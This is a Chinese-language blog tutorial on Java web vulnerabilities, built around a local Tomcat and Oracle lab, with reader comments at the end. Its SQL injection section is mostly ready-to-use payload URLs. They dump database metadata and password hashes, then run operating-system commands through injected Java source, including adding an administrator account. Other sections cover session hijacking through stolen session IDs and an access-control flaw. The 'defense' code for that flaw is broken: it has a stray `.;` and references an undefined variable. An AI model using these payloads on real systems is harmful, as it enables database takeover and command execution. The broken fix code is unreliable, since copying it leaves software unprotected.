javaweb的常见web漏洞
0x01 前言
资料来源:
http://javaweb.org/?p=567
http://zone.wooyun.org/content/19379
http://drops.wooyun.org/tips/57
http://huaidan.org/archives/2437.html
有了前篇文章的基础,再看园长的系列才不会那么吃力哦
0x02 常见漏洞
1.sql注入
1.1.实战
sql注入重要还是取决数据库类型,mysql一般大家都练烂了,jsp+oracle组合到时更常见。
下面我们重点讲这个吧:
本地搭建 tomcat和oracle数据库
导入数据:
create table users(id number(4),username char(200),password char(200));
insert into users values(1,'wilson','ba55577590736ef6');
insert into users values(2,'admin','7a57a5a743894a0e');
服务端代码片段:
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String id = request.getParameter("id");
response.setContentType("text/html;charset=utf-8");
PrintWriter out = response.getWriter();
if(!"".equals(id)){
String ORACLEDRIVER="oracle.jdbc.driver.OracleDriver";//oracle驱动
String ORACLEURL="jdbc:oracle:thin:@127.0.0.1:1521:orcl";
String sql="select * from users where id="+id;
out.println("sql:"+sql+"<br>");
try{
Class.forName(ORACLEDRIVER);//加载oracle驱动
Connection conn =DriverManager.getConnection(ORACLEURL,"wilson","wilson");//获取oracle的数据库连接
PreparedStatement pstt = conn.prepareStatement(sql);
ResultSet rs = pstt.executeQuery();
while(rs.next()){//结果遍历
out.println("ID:"+rs.getObject("id"));//ID
out.println("username:"+rs.getObject("username"));//输出用户名
}
rs.close();//关闭查询结果集
pstt.close();//关闭PreparedStatement
conn.close();//关闭数据连接
}
catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
id参数都什么没有处理,会有注入。下面简单说一下手工注入
1.order by 确定有 3个字段。
2.看显示位:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,%27wilson%27,null%20from%20dual--
3.获取oracle数据的信息:
当前数据库版本:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select//banner//from//sys.v_$version//where/**/rownum=1),null%20from%20dual--
得到:ID:null username:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
当前用户权限:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20*%20from%20session_roles%20where%20rownum=1),null%20from%20dual--
得到:ID:null username:DBA
通过查询日志文件绝对路径,可以判断操作系统平台:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select//member//from//v$logfile//where/**/rownum=1),null%20from%20dual--
得到:ID:null username:D:ORACLEPRODUCT10.2.0ORADATAORCLREDO03.LOG
4.获取数据库中的表:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20table_name%20from%20user_tables%20where%20rownum=1),null%20from%20dual--
获取到一个表
ID:null username:USERS
获取到下个表
ID:null username:news
第一个字段为id
第二个字段为username
第三个字段为password
6.获取内容:
可以用||和chr
得到:ID:null username:1~wilson ~ba55577590736ef6
得到:ID:null username:2~admin ~7a57a5a743894a0e
tip:
oracle 不能像mysql 用limit,但是我们可以用嵌套一个子查询语句来达到这个效果:
得到:ID:null username:2#admin #7a57a5a743894a0e
1.2.oracle注入执行命令
方法一)
前提:1.仅有create session或者其他普通权限,2.非 oracle 11g[oracle 11g 测试失败]
原理:使用了SYS.DBMS_EXPORT_EXTENSION函数。在oracle上创建Java包LinxUtil,里面创建执行命令函数
1.创建包
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str %2B=stemp%2B"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual)
2.赋Java权限
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual)
3.创建函数
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual)
4.赋public执行函数的权限
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual)
5.测试上面的几步是否成功
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select OBJECT_ID from all_objects where object_name ='LINXRUNCMD')
6.执行
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1 union select null,(select sys.LinxRunCMD('whoami') from dual),null from dual
oracle注入执行命令资料来源:http://huaidan.org/archives/2437.html
鬼哥真心牛逼!
方法二)
前提:1.仅有create session或者其他普通权限,2.非 oracle 11g[oracle 11g 测试失败]
原理:dbms_xmlquery.newcontext() public role
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named JAVACMDas import java.lang.;import java.io.;public class JAVACMD{public static void execmd(String command) throws IOException{Runtime.getRuntime().exec(command);}}''; commit; end;') from dual;
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace procedure MYJAVACMD(command in varchar) as language java name ''''JAVACMD.execmd(java.lang.String)''''; ''; commit;end;') from dual;
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||select dbms_xmlquery.newcontext('begin myjavacmd(''net user admin admin /add'') ;commit;end;') from dual;
资料来源:http://drops.wooyun.org/tips/57
求助:11g如何执行命令?求大牛指导
1.3.oracle注入防御
SQL语句被预编译并存储在PreparedStatement对象中。然后可以使用setObject进行预编译代码:(注意,Sql注入产生的直接原因是拼凑SQL,绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的,更不会去关注SQL执行的安全性,所以PreparedStatement还是有可能出现sql注入的)
Class.forName(ORACLEDRIVER);//加载oracle驱动
Connection conn =DriverManager.getConnection(ORACLEURL,"wilson","wilson");//获取oracle的数据库连接
PreparedStatement pstt = conn.prepareStatement("select * from account_balance where accno=?");//获取预编译的PreparedStatement对象
pstt.setObject(1,id);//使用预编译SQL
ResultSet rs = pstt.executeQuery();
2.xss
2.1.前言
zone上有人怎么说:jsp 的页面已经相当少了,大都清一色的mvc, 基于各种框架, sql注入几乎可以杜绝,问题更多点的可能还是在框架漏洞,跨站漏洞,以及业务逻辑漏洞等等。由此可以知道xss在jsp出现的几率会比较sql注入的几率来的大!
相对而言,存储型的xss的危害大一些!
xss 原理还是那样,要注意请求头信息伪造的XSS,包括ua和xfx等。
防御:
使用StringEscapeUtils类的escapeHtml方法,该方法会自动对特殊符号进行HTML编码处理。该类是包含在 commons-lang-2.4.jar包
<%
if(request.getMethod().equalsIgnoreCase("post"))
{
String name =StringEscapeUtils.escapeHtml(request.getParameter("name"));
if(!name.isEmpty())
{
out.println("<br>Hi "+name+". How are you?");
}
}
%>
2.2.cookie和session
cookie和seesion的知识点看,前面那一篇文章:
http://blog.wils0n.cn/?post=10 [在jsp内置对象部分]
主要区别在于:cookie在客户端,而seesion在服务器端。
cookie:
cookie欺骗:
一些网站对于用户是否成功登录不是看用户名与密码是否与数据库里面的匹配,而是看cookies是否为空,或者某个键值是否为ture[如:adminid=ture]。这样的问题的假设就是开发者认为用户能够登录,那么cookies就不会为空。
但是逻辑缺陷很明显,由于cookie是客户端可以给修改的,那么只要能知道用户ID,然后构造一个cookies就可以绕过这样的认证了。
session:
对于seesion我们一般是不能修改,但是我们要了解两个东西:
1.seesionid
以tomcat为例子,我们访问tomcat时候cookie中会有sessionid这个键值。
当我们调用String name = (String)session.getAttribute("name")的时候,其实就是以seesionid为依据的。
所以当我们知道cookie的seesionid时候[方法:xss,内网嗅探,同服shell跨站查看seesion文件等等]我们就可以伪装任意用户了
但是前提是seesion没有失效,所以我们要了解session生命周期
2.Session 生命周期
下面是园长的话:
1、session的默认过期时间是30分钟,可修改的最大时间是1440分钟(1440除以60=24小时=1天)。
2、服务器重启或关闭Session失效。
注:浏览器关闭其实并不会让session失效!因为session是存储在服务器端内存当中的。客户端把浏览器关闭了服务器怎么可能知道?
正确的解释或许应该是浏览器关闭后不会去记忆关闭前客户端和服务器端之间的session信息且服务器端没有将sessionId以Cookie的方式写入到客户端缓存
重新打开浏览器之后并不会带着关闭之前的sessionId去访问服务器URL,服务器从请求中得不到sessionId自然给人的感觉就是session不存在(自己理
的)。
这段话就明白了seesion是会失效的。所以xss平台往往有一个功能叫keepSession,每过一段时间就带着sessionId去请求一次,其实就是在保持session的有效不过期。但是要是管理员点击了注销,那么session被注销,这样照样会导致失效,所以最好的办法是设置邮件通知,及时登入。
我们常常说的xss到的cookie失效了,其实是原理是当前服务器后台验证的是seesion,非cookie。而我们的seesion失效了
3.越权漏洞
3.1.原理
越权漏洞其实就是没有验证seesion,造成的。
3.2.实战
userid或username常常是越权的突破口。
开发人员一般会创建一个session来保存用户名。当用户在查看、修改个人信息等需要判定用户身份时,就直接从session中获取,而不会在客户端传递,也就避免了篡改。
但是当我们需要用客户端传来的userid或者username,进行用户资料查询,修改个人信息等。
如果没有进行seesion的验证话,常常会造成越权漏洞!
漏洞代码:
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String id = request.getParameter("userid");
response.setContentType("text/html;charset=utf-8");
PrintWriter out = response.getWriter();
if(!"".equals(id)){
String ORACLEDRIVER="oracle.jdbc.driver.OracleDriver";//oracle驱动
String ORACLEURL="jdbc:oracle:thin:@127.0.0.1:1521:orcl";
String sql="select * from users where id="+id;
out.println("sql:"+sql+"<br>");
try{
Class.forName(ORACLEDRIVER);//加载oracle驱动
Connection conn =DriverManager.getConnection(ORACLEURL,"wilson","wilson");//获取oracle的数据库连接
PreparedStatement pstt = conn.prepareStatement("select * from users where id=?");//获取预编译的PreparedStatement对象
pstt.setObject(1,id);//使用预编译SQL
ResultSet rs = pstt.executeQuery();
while(rs.next()){//结果遍历
out.println("ID:"+rs.getObject("id"));//ID
out.println("username:"+rs.getObject("username"));//输出用户名
out.println("password:"+rs.getObject("password"));//输出用户名
}
rs.close();//关闭查询结果集
pstt.close();//关闭PreparedStatement
conn.close();//关闭数据连接
}
catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
这时候我们就可以通过修改userid来查看任意用户的username和password
防御代码:
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String sess_id = session.getAttribute('id').; //直接从session中获取userid
String id = request.getParameter("userid");
response.setContentType("text/html;charset=utf-8");
PrintWriter out = response.getWriter();
//当sess中的id值和传入的userid一样时候,才能查看,避免了越权的漏洞
if(sess_id.equals(accno)){
String ORACLEDRIVER="oracle.jdbc.driver.OracleDriver";//oracle驱动
String ORACLEURL="jdbc:oracle:thin:@127.0.0.1:1521:orcl";
String sql="select * from users where id="+id;
out.println("sql:"+sql+"<br>");
try{
Class.forName(ORACLEDRIVER);//加载oracle驱动
Connection conn =DriverManager.getConnection(ORACLEURL,"wilson","wilson");//获取oracle的数据库连接
PreparedStatement pstt = conn.prepareStatement("select * from users where id=?");//获取预编译的PreparedStatement对象
pstt.setObject(1,id);//使用预编译SQL
ResultSet rs = pstt.executeQuery();
while(rs.next()){//结果遍历
out.println("ID:"+rs.getObject("id"));//ID
out.println("username:"+rs.getObject("username"));//输出用户名
out.println("password:"+rs.getObject("password"));//输出用户名
}
rs.close();//关闭查询结果集
pstt.close();//关闭PreparedStatement
conn.close();//关闭数据连接
}
catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
0x03 结语
还有其它很多漏洞,原理和其它脚本差不多就讲了。
有什么错误欢迎指出
接下去:
javaweb的mvc安全
沙发
哇,威尔师傅博客改版了,前排
@zephyrus:嘿嘿,去网上搜了一个好看emlog模版
哇。改版了
@c1ay: 对啊
博主能互换友链吗?我博客 www.netfairy.net
@Netfairy:哇塞 你咋用的是冷神的blog
我 给你加上吧~
http://blog.wils0n.cn/old/wilson's%20blog-Win2003.htm#comment 博主好补救链子了
@a:太久了。。 。。
喂马,砍柴,周游世界,赞一个,肯定不是你的原话吧...
@tiantian:不是 cms自带的
师父一般怎样测试orcale数据库?本地安装吗?各种版本装一遍?oracle不是收费的吗,我在docker上也没有找到合适的orcale源。期待回复谢谢。
@777:解决了吧
看到 11g的写shell 分享一下
https://www.doyler.net/security-not-included/oracle-command-execution-sys-shell